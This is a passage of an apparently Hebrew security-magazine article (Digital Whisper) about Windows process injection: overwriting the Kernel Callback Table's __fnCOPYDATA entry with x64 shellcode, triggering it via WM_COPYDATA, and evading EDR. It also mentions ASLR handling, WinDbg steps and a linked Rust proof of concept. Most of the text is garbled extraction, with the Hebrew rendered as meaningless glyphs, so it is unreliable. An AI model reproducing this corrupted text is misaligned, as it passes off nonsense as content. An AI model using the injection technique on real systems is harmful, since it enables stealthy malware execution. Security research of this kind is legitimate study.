thread ˡ˶˲ˮ  ˣ˞   ˭ ˣˮˠˮˬ˪ ˧ˮˣ˶˩ˮ˧˯˞ Σ˨˩  ˢ˷πthread ˧˶ˣ˵ˬˢ  ˪˩ˣ˧  ˶ˣˤ˥˪   x ˸˪ˣ˰˲˪ ˢˮ˧˵˸ˢ ˸ˣ˶˧ˢˬ˟ Φ 

˨˶ˡ  ˢ˪ˣ˰˲  ˸˧˶˷˲˞   ˸ ˲˧˵˰˪  ˢ˪˟ˠˬ   x ˤ,  ˞˧ˢ  ˢ˟˧˸˩  ˪˷  shellcode  ˶˴˵  ˶ˣ˟˰  ˸˶ˣ˦˵˦˧˩˶˞  x64  ύ s ˴ˣ˲ˮˢ  

 ˟ ˣ˶˟ ˧˟˷˥ˬ Windows ˫ˣ˧˩ Σό ˶ ˷˞ ˪ˣ˪˩˸  ˢ˞˧˶˵  ˢ˧˴˵ˮˣ˲˪  CreateThread  Φ 

πsthread ˷ˡ˥ˢ  ˴ˣˣ˧˧˷ ˶˪˧˥˸˧ ˣ˸˴˧˶   ˸ ˟ˣ˸˩˟ sπshellcode ˭ˤˣˢ˷  ˫ˡˣ˵  ˭˩˪  ˭ˣ˶˩˧ˤ˪  ˨ ˧˪ˢ˸ˢ ˵˥ˣ˶ˬˢΦ 

˱ˣ˯˟˪  Σˢ˧˴˵ˮˣ˲ˢ__fnCOPYDATA   ˭ˣˣ˩˸  ˸˟ˣ˸˩˪   ˪ ˷  ˣ˸ˣ˞ shellcode ˶˴˵  Σ ˨ ˩   ˪ ˣ˲˧˦˷   ˸ ˰ˡˣˢ˟  

WM_COPYDATA  ˪˧˰˲˧   x ˸ˣ˞  Σ˭˲ˣ˞˟ˣ  ˱˧˵˰  ˫ˠ  ˸˞  πsshellcode  ˞˪ˬˢ  Σ˧˪˟ˬ  ˫ˣ˯˥˪  thread  ˧ˤ˩˶ˬ   ˪ ˷  

˨˧˪ˢ˸ˢ. 

 

http://www.digitalwhisper.co.il/
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˞˪  ˯ˮ˩˞  ˵ˬˣ˰˪  ˸˟˧˸˩  πsshellcode  ˶˥˞ˬ  ˢˤ˷  ˞˷ˣˮ  ˵˧ˡ˴ˬ˷  ˶ˬ˞ˬ  ˧ˮ˲˟  ˣˬ˴˰  Φ˫˰  ˸˞ˤ  Σ ˨ ˶ˣ˴˪  ˢˬˠˡˢ  Σ

˸˲˶ˣ˴ˬ ˢ˯˶ˠ  ˪˷ shellcode ˶˴˵  ˟˸˩ˮ˷  l ˥ˣ˧ˬ˟ ˶ˣ˟˰ ˢ˧˴˵ˮˣ˲ˢ __fnCOPYDATA  Φ 

˟ˣ˷˥  ˭˧˧˴˪  ˢ˷πshellcode  ˣˮ˧˞  ˧˪˪˩  Σ ˞ ˣˢ  ˫˞˸ˣˬ  ˢˮ˟ˬ˪  ˧˲˧˴˲˯ˢ  ˪˷  ˢ˞˧˶˵ˢ   ˨ ˣ˸ˬ  fnCOPYDATA  Σ ˞ ˪ˣ  

˥˶˩ˢ˟ ˫˧˞˸˧   ˸ ˣ˧˴˵ˮˣ˲˪ ˸ˣ˶˥˞. 

˪˷˟  ˭ˣˮˠˮˬ  πsASLR  ύAddress Space Layout Randomization  Σό˞˪  ˭˸˧ˮ  ˰ˣ˟˵˪  ˷˞˶ˬ  ˸˞   ˸ ˣ˟ˣ˸˩ˢ  

˸ˣ˵˧ˣˡˬˢ   x ˷ˬ˷˧˷  π˟shellcode  Σ˭˩˪ˣ  ˞ˣˢ   ˪ ˪ˣ˩  ˸ˣ˟ˣ˸˩   ˸ ˣ˧˟˧˦˵˧˲ (placeholders) ˷˧˷  ˭˩ˡ˰˪   ˨ ˪ˢˬ˟  

ˢ˴˧˶ˢ (runtime patching)Φ 

 ˸ ˣ˥ˣˮ˪ ˫˧˞˶ˣ˵ˢ Σˡˣ˵ˢ ˢˣˣ˪ˬ  ˡˣ˰˧˸˟ ˞˪ˬ ˶˧˟˯ˬˢ  ˸ ˞ ˢˮ˟ˬ ˢ˴˶ˢˢ  ˫ ˧˶˦ˬ˶˲ˢˣ ˫˧˧˦˧˶˵ˢ. 

˳˪ˬˣˬ  ˭˧˧˰˪  ˧ˮ˷˟  ˫˧˶ˣ˷˧˵ˢ  ˣ˲˶ˣ˴˷  π  ˫ˢ  ˫˧˵˲˯ˬ  ˰˵˶  ˟ˣ˷˥  ˪˰  ˸ˣ˞˧˶˵  ˸˩˶˰ˬ  ˸˶ˣ˦˵˦˧˩˶˞˟ x64  ˫ ˧˪ˣ˩˧ˣ  

˪˵ˢ˪  ˸ ˧˸ˣ˰ˬ˷ˬ ˪˰ ˨˧˪ˢ˸  ˢˮ˟ˢˢ ˥ˣ˸˧˲ˢˣ: 

170-conventions?view=msvc-software-us/cpp/build/x64-https://learn.microsoft.com/en 

x64/README.md-fun/blob/master/windows-whitehead/assembly-https://github.com/simon 

 

 s ˵˶ˤˢˢ 

˫˞  ˫˸˰ˠˢ  ˡ˰   ˭ ˞˩˪  Σˢ˞˶ˮ˩  ˫˸˶˟˰˷  ˸˞  ˵˪˥ˢ  ˧˦˶ˣ˞˧˸ˢ  ˟˩˶ˣˬˢ  Σ˸˰˩ˣ  ˪˩  ˶˸ˣˮ˷  ˞ˣˢ  ˷ˬˬ˪  ˸˞   ˨ ˧˪ˢ˸ˢ  

ˣ˪ˣ˩. 

ˣ˞˴ˬ˸ ˞˟ˢ ˡˣˬ˰˟  ˫˧˷˶˸  ˫˩˯ˬ   ɣ ˧˴ˬ˷   s ˶ˣ˴˟   ˸ ˧˪˞ˣˤ˧ˣ   ˸ ˵˧ˣˡˬˣ   ˸ ˞   ˱ ˴˶  ˫˧˟˪˷ˢ   ˫ ˧˷˶ˡˮˢ  ˨˶ˣ˴˪  ˰ ˣ˴˧˟  

ˢ˵˶ˤˢˢ Σ˟˪˷ˬ ˢˮ˩ˢˢ  l ˰ˣ ˸˪˰˲ˢ˪  l ˣ˵ˢ ˨˧˪ˢ˸˟ ˡ˰˧ˢ Φ 

http://www.digitalwhisper.co.il/
https://learn.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170
https://github.com/simon-whitehead/assembly-fun/blob/master/windows-x64/README.md
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{ǘǊǳŎǘπ ˫ ˧  ˫ ˧˷˶ˡˮ 

˪˰  ˸ˮˬ  ˷ˬˬ˪  ˸˞  ˢ˵˧ˮ˩˦ˢ  ˪˰ˣ˲˟  Σ˷˧  ˶˧˩ˢ˪  ˸˞  ˧ˮ˟ˬ  ˫˧ˮˣ˸ˮˢ (structs) ˫˧˧ˬ˧ˮ˲ˢ  ˪˷  Windows  Σ˧˲˩   ˫ ˢ˷  

˫˧ˠ˴ˣ˧ˬ  ˭ˣ˶˩˧ˤ˟  Φ˫˧ˬ˧˧˵  ˶˲˯ˬ  ˸ˣ˶ˣ˵ˬ  ˫˧˧˸ˣ˩˧˞  ˫˧ˬ˯˶˲ˬˢ  ˰ˡ˧ˬ  ˪˰   ˫ ˧ˮ˟ˬ   ˧ ˸˪˟   ˫ ˧ˡ˰ˣ˸ˬ 

(undocumented)Φ ˶˸˞ˢ ƴǘŘƻŎ ˶˩ˤˣˢ˷  ˫ ˡˣ˵ ˭˩˪ Σ ˭ ˩ˣ ˶˸˞ ǾŜǊƎƛƭƛǳǎ ˡ˵ˬ˸ˬ˷   ˶ ˵˧˰˟  ˧ˮ˟ˬ˟ YŜǊƴŜƭ  Φ 

http://www.digitalwhisper.co.il/
https://www.ntdoc.m417z.com/
https://www.vergiliusproject.com/
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˫˰  ˸˞ˤ  Σ ˷ ˧  ˭˧˧˴˪  ˧˩  ˢˮ˟ˬ   sπKernel Callback Table (KCB)  Σ ˞ ˣˢ˷  ˧˦˧˶˵  ˶ˣ˟˰  ˸˴˶ˢ  ˡˣ˵ˢ  Σ˞˪   ˰ ˧˲ˣˬ   ˱ ˞˟  

ˡ˥˞ ˸ˣ˶ˣ˵ˬˢˬ ˫˧ˬ˧˧˵ˢ Φ 

˭˩˪  Σ˨˶ˣ˴˪  ˸˟˧˸˩   l ˣ˵ˢ  Σˣ˵˲ˣ˯   ˭ ˞˩  ˸ˣ˶ˡˠˢ  ˫˧ˮ˟ˬ  ˸ˣˬ˞˸ˣˬ  Σˣˮ˟ˮ˷   ˪ ˰   ˨ ˬ˯ reverse  l ˵ˣˬˬ   ˨ ˶ˣ˴˪  πsPOC  Φ

˟ˣ˷˥   ˷ ˧ˠˡˢ˪  ˧˩   ˫ ˧ˮ˟ˬˢ  π   l ˥ˣ˧ˬ˟  ˧˲˩  ˫ˢ˷   ˫ ˧˶ˡˠˣˬ  π˟RUST  Σ˫ˮ˧˞  ˫˧˵˧ˣˡˬ   ˭ ˧˦ˣ˪˥˪  Σ˶˥˞ˬ  ˵˪˥˷   ˸ ˣˡ˷ˢˬ  

˫ˢ ˫˧˰˧˟˴ˬ  ˫˧ˮ˟ˬ˪  ˫ ˧˧ˬ˧ˮ˲ ,  ˶ ˷˞ ˫ˮ˧˞   ˫ ˧ˬ˧˧˵ ˵˪˥˩ ˸ˣ˪˧˟˥ˢˬ ˭ˢ˟ ˢ˷˰ˮ  ˷ˣˬ˧˷. 

˸ˣ˶˦ˬ˪  ˢ˵˧ˮ˩˦ˢ   ˸ ˧˥˩ˣˮˢ  Σ˧ˡ  ˢˮ˟ˢ˟  ˪˷   sπoffsetπ˫˧  ˫˧˧ˤ˩˶ˬˢ  Σ˨˞  ˭˧˞  ˯˥˧˧˸ˢ˪  ˫˧ˮ˟ˬ˪  ˪˞˩  ˡˣ˰˧˸   ˧ ˬ˷˶  

ˣ˞ ˞˪ˬ  ˪˷ ˢˮ˟ˬ  ˭ ˣ˶˩˧ˤˢ ˸˩˶˰ˬ˟ Φ˷ˣˬ˧˷  ˫ˢ˟ ˫˧˩˶˴˪  ˫˧˶˥˞  ˟ ˧˧˥ˬ ˸ˣˬ˧˞ ˱˯ˣˮΦ 

 

˧˪˩ ˪˧˴˧˷  ˫ ˩˪ ˸˞ ˠˣ˟˧ˡˢ 

 ˧ ˸˪˥˸ˢ˷˩  ˟ˣ˸˩˪  LƴƧŜŎǘπ˫˧  Σ l ˥˞   ˫ ˧˶ˠ˸˞ˢ  ˧˩ˢ   ˫ ˧˪ˣˡˠ   ˧ ˸˪˵˸ˮ˷  ˫ˢ˟  ˢ˧ˢ  ˠˣ˟˧ˡ  Φ˞˪  ˧˸˶˩ˢ   ˸ ˞   ˫ ˧˪˩ˢ  

 x ˪˩˧˷  ˨ˣ˯˥˪  ˧˪ ˸ˣ˰˷  ˪˷  ˪ˣ˩˯˸  π ˡ˥ˣ˧ˬ˟  ˶˟ˣˡˬ˷˩  ˸ˣ˞˧ˠ˷˟   Ϧ˸ˣ˦˵˷ Ϧ Σ  ˢ˷πǇǊƻŎŜǎǎ  ˦ˣ˷˲ ˯˶ˣ˵   ˧ ˪˟   ˫ ˣ˷  

ˤˬ˶  Φ˵˶  ˧˶˥˞  ˢ˟˶ˢ   ˧ ˣ˯˧ˮ  ˢ˧˰˦ˣ  ˧˸˧˪˧ˠ  ˢˬ˩   ˫ ˧˪˩  ˫˧˪ˣ˩˧˷  ˨ˣ˲ˢ˪  ˸˞  ˫˧˧˥ˢ  ˫˧˪˵˪  ˢ˟˶ˢ˟  Φ˷˞˶˟  ˢˬ˧˷˶ˢ  Υ

²ƛƴ5ōƎ Φ 

 

 

WinDbg  ˞ˣˢ  Debugger  ˧˸ˬ˴ˣ˰  ˸˧˟ˬ  Microsoft  Σ˶˷˲˞ˬˢ  ˣˮ˪  ˟ˣ˵˰˪  ˧˶˥˞  ˸˴˶ˢ   l ˣ˵ˢ  ˭ˬˤ˟  ˸ˬ˞  Σ ˶ ˣ˴˰˪  

˪˩˟  ˢˡˣ˵ˮ  ˭ˣ˶˩˧ˤ˟   ˭ ˣ˥˟˪ˣ   ˸ ˞  ˭˩ˣ˸  ˸ˣˬˣ˷˶ˢ  Σ˭ˣ˶˩˧ˤˢ  ˢˣπdisassembly   ˪ ˷  ˡˣ˵ˢ  Φ ˧ ˪˩ˢ   ˧ ˷ˣˬ˧˷  ˡ˥ˣ˧ˬ˟   ˧ ˟˪˷˟  

˸˟˧˸˩ ˸˵˶ˤˢˣ shellcode Σ˫ˢ˟ ˪˩ instruction ˟ˣ˷˥ Φ 

 

http://www.digitalwhisper.co.il/
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˸ˣˡˣ˵˲  ˸ ˣ˧˯˧˯˟ ˧˞ˡ˩˷  ˶˧˩ˢ˪: 

¶ bp <address>   ˸ ˰˧˟˵ Breakpoint ˸˟ˣ˸˩˟ ˢ˧ˣ˴˶ˢ. 

¶ g π go Σ˨˷ˬˢ ˢ˴˧˶ . 

¶ t π step into Σ˰ˣ˴˧˟ ˸˶ˣ˷   l ˣ˵ ˸˥˞ Σ˪˪ˣ˩ ˢ˯˧ˮ˩  ˸ˣ˧˴˵ˮˣ˲˪. 

¶ p π step onΣ  ɣ ˣ˪˧ˡ ˪˰  ˸ˣ˞˧˶˵  ˢ˧˴˵ˮˣ˲˪. 

¶ gu π step out  Σˢ˞˧˴˧ ˢ˧˴˵ˮˣ˲ˢˬ ˸˧˥˩ˣˮˢ Φ 

˭˟ˣˬ˩   ˭ ˸˧ˮ˷   ˰ ˴˟˪   ˸ ˞   ˪ ˩   ˸ ˣ˪ˣ˰˲ˢ   x ˪˪ˢ   ύˡˣ˰ˣ  ˸ˣ˟˶   ˸ ˣ˶˥˞  ό˫ˠ  ˸ˣ˰˴ˬ˞˟  πsGUI   ˪ ˷   WinDbg˪˪ˣ˩   ˦ ˣˣ˧ˮ  ˭˧˟ 

Threads  Σ ˢ˧˧˲˴  π˟stack   l ˣ˰ˣ  Φ ˧ ˬ˪  ˟˸ˣ˩˷  LƴƧŜŎǘπ˫˧  Σ˵˯˰˸ˬ   ˟πǊŜǾŜǊǎŜ ŜƴƎƛƴŜŜǊƛƴƎ  Σˣ˞  ˥˸˲ˬ ƭƻǿπƭŜǾŜƭ 

˪ˣˬ ˸˩˶˰ˬ  s ˪˰˲ˢˢ π  ˧ ˪˩ˢ  ˢˤˢ ˞ˣˢ ˶ˡˠ˟  ˢ˟ˣ˥Φ 

 

 ˫ ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˢˤ ˢˠ˴ˣˢ ˢ˵˧ˮ˩˦ ˸˶˷˲˞ˬˢ ACE Σ ˸ ˯˯ˣ˟ˬˢ ˪˰ ˪ˣ˴˧ˮ s πKernel Callback Table ˨˶ˣ˴˪ ˸˴˶ˢ   l ˣ˵  

˨ˣ˸˟ ˨˧˪ˢ˸ GUI ˵˥ˣ˶ˬ Σ˸ˣ˰˴ˬ˞˟ ˭ˣˮˠˮˬ  ˸ ˣ˰ˡˣˢˢ ˪˷ Windows  s ˧˴˵ˮˣ˲ˢˣ  __fnCOPYDATA Φ 

ˢ˷˧ˠˢ ˸ˮ˧˧˲˞˸ˬ ˨˩˟  ˞˧ˢ˷   ˸ ˲˵ˣ˰ ˢ˞ˣ˪ˬ˟ ˸˞ ˨˶ˣ˴ˢ ˸˶˧˴˧˟ thread ˭˲ˣ˞˟  ˶˧˷˧ Σˢ˪ˣ˰˲ ˢˣˣˢˬˢ Ϧ˧˦ˮ˞ 

˭˶˦˲  Ϧ˵ˢ˟ˣˬ  ˧ˣˢ˧ˤ˪  ˸˧˟˶ˬ˟  ˧˶˴ˣˬ  EDR  ˫˧˧ˮ˶ˡˣˬΦ   l ˣ˵ˢ  Σ˫˧ˮ˟ˬˢ  Σ˫˧˦ˣ˦˶˷ˢˣ  ˫˧ˮ˧ˬˤ  π˟GitHub Υ  

shellcode-structs-injection-callback-https://github.com/yoavomer/kernel 

˧ˮ˞  ˢˣˣ˵ˬ  ˫˸˟ˢ˞˷  ˸˞  ˶ˬ˞ˬˢ  Σ˫˸ˮˢˮˣ  ˟ˣ˸˩˪  ˸˞  πsPOC  Φ˧ˮ˞  ˟˧˧˥  ˡ˧ˠˢ˪  ˢˤ˷  ˢ˧ˢ  ˡ˥˞  ˢˬπinjection π

˧˫   ˧ ˩ˢ˷  ˸˧ˮˢˮ ˧  ˟ˣ˸˩˪  Σ ˞ ˣˢ  ˦ˣ˷˲   l ˬ˪ˬˣ  ˢ˟˶ˢ Φ   ˫ ˞   ˷ ˧  ˫˩˪  ˸ˣ˪˞˷  Σ ˸ ˣˮ˟ˣ˸   ˸ ˣ˲˯ˣˮ  Σˣ˞  ˭ˣ˴˶  ˱˸˷˪   ˸ ˣ˵˧ˮ˩˦  

˸ˣˬˣˡ  ˧ˮ˞ ˡ˧ˬ˸  ˥ˬ˷ ˰ˣˬ˷˪Φ 

˧ˮ˞  ˟˸ˣ˩  π˟rust  ˟ˣπcpp  ύ˞˪˷  ˣ˰˦˸   ˧ ˮ˞  ˳˧˶˰ˬ  ˰˟˷ˣˬ  ˪˷  rustόΣ  ˪˪ˠ˟ˣ  ˢˤ  ˣ˲˶ˣ˴  πsstructπ˫˧  ˧˸˷˟  ˸ˣ˲˷ˢ  Φ

˱˯ˣˮ˟  ˫ ˧ˮˬˤˣˬ ˶˟˥˸ˢ˪  ˧˪˞  -˟linkedin Φ 

 

˸ˣ˶ˣ˵ˬ  ˰ ˡ˧ˬ 

¶ https://github.com/simon-whitehead/assembly-fun/blob/master/windows-x64/README.md 

¶ https://unit42.paloaltonetworks.com/win32k-analysis-part-1/ 

¶ https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf 

¶ https://github.com/0xHossam/KernelCallbackTable-Injection-PoC 

¶ https://www.crow.rip/crows-nest/mal/dev/inject/ntapi-injection/complete-ntapi-

implementation 

¶ https://www.linkedin.com/in/tom-sha/ 

http://www.digitalwhisper.co.il/
https://github.com/yoavomer/kernel-callback-injection-structs-shellcode
https://www.linkedin.com/in/yoav-omer-078489351/
https://github.com/simon-whitehead/assembly-fun/blob/master/windows-x64/README.md
https://unit42.paloaltonetworks.com/win32k-analysis-part-1/
https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
https://github.com/0xHossam/KernelCallbackTable-Injection-PoC
https://www.crow.rip/crows-nest/mal/dev/inject/ntapi-injection/complete-ntapi-implementation
https://www.crow.rip/crows-nest/mal/dev/inject/ntapi-injection/complete-ntapi-implementation
https://www.linkedin.com/in/tom-sha/


 
 

   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  фо 
 

˧˶˟ˡ  ˫ ˣ˩˧˯ 
 

˸˞ˤ˟  ˣˮ˥ˮ˞   ˫ ˧˶ˠˣ˯   ˸ ˞  ˭ˣ˧˪ˠˢ  πsмтс  ˪˷  5ƛƎƛǘŀƭ ²ƘƛǎǇŜǊ  Σ x ˮ˞  ˡˣ˞ˬ   ˫ ˧ˣˣ˵ˬ  ˧˩  ˫˸ˮˢˮ   ˭ ˣ˧˪ˠˢˬ   ˧ ˩ˢˣ  ˟ˣ˷˥  Υ

˫˸ˡˬ˪  ˣˮˬˬ  Φˣˬ˩  ˸ˣˮˣ˧˪ˠ˟  ˫˧ˬˡˣ˵ˢ  Σ˫ˠ   ˫ ˰˲ˢ  ˣ˰˵˷ˣˢ  ˢ˟˶ˢ  ˢ˟˷˥ˬ  Σ˸ˣ˧˸˶˧˴˧  Σˢˡˣ˟˰  ˢ˷˵  ˸ˣ˰˷ˣ   s ˮ˧˷  

˸ˣ˟˶ ˧ˡ˩  ˪l˞˧˟ˢ  ˫˩˪ ˸˞ ˭ˣ˧˪ˠˢ  Φ 

 

˭˸˧ˮ  ˥ˣ˪˷˪  ˸ˣ˟˸˩  ˪˩ˣ  ˢ˧ˮ˲  ˸˶˥˞  ˨˶ˡ  ˡˣˬ˰  Ϧ˶ˣ˴  ˶˷˵  Ϧ˶˸˞˟  ˣˮ˪˷  Σˣ˞  ˥ˣ˪˷˪  ˭˸ˣ˞  ˶˞ˣˡ˪   ˧ ˮˣ˶˦˵˪˞ˢ  

ˣˮ˪˷  Σ ˸ ˟ˣ˸˩˟ ŜŘƛǘƻǊϪŘƛƎƛǘŀƭǿƘƛǎǇŜǊΦŎƻΦƛƭ Φ 

 

˪˰ ˸ˮˬ  ˞ˣ˶˵˪ ˸ˣˮˣ˧˪ˠ  ˫ ˧˲˯ˣˮ Σ˶ˣ˴˧˪   x ˮˬ˧˰ ˶˷˵   ˱ ˶˦˴ˢ˪ˣ ˢ˪˧ˢ˵˪   x ˮ˪˷ Σ ˞ ˮ˞ ˣ˶˵˟   ˶ ˸˞˟  ˭ ˧ˤˠˬˢ Υ 

ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 
Ϧ¢пƭƪмƴϥ улǳǘ ŀ ǊоǾƻтǳтмлƴ рƻǳƴŘǎ ƭƛƪŜ ŀ ǿƘмрǇоǊϦ 

 

˭ˣ˧˪ˠˢ ˞˟ˢ ˢˣˣ˵˸˟ ˫ˣ˧˟ ˭ˣ˶˥˞ˢ   ˪ ˷ ˷ˡˣ˥ ˦˯ˣˠˣ˞ Η 

 

 

         ˵ ˧˲˞ ˪˞˧˦˯˵Σ  ˶˧˲˯  ˧ ˵˯˟ˣ˶ˡ˲ 
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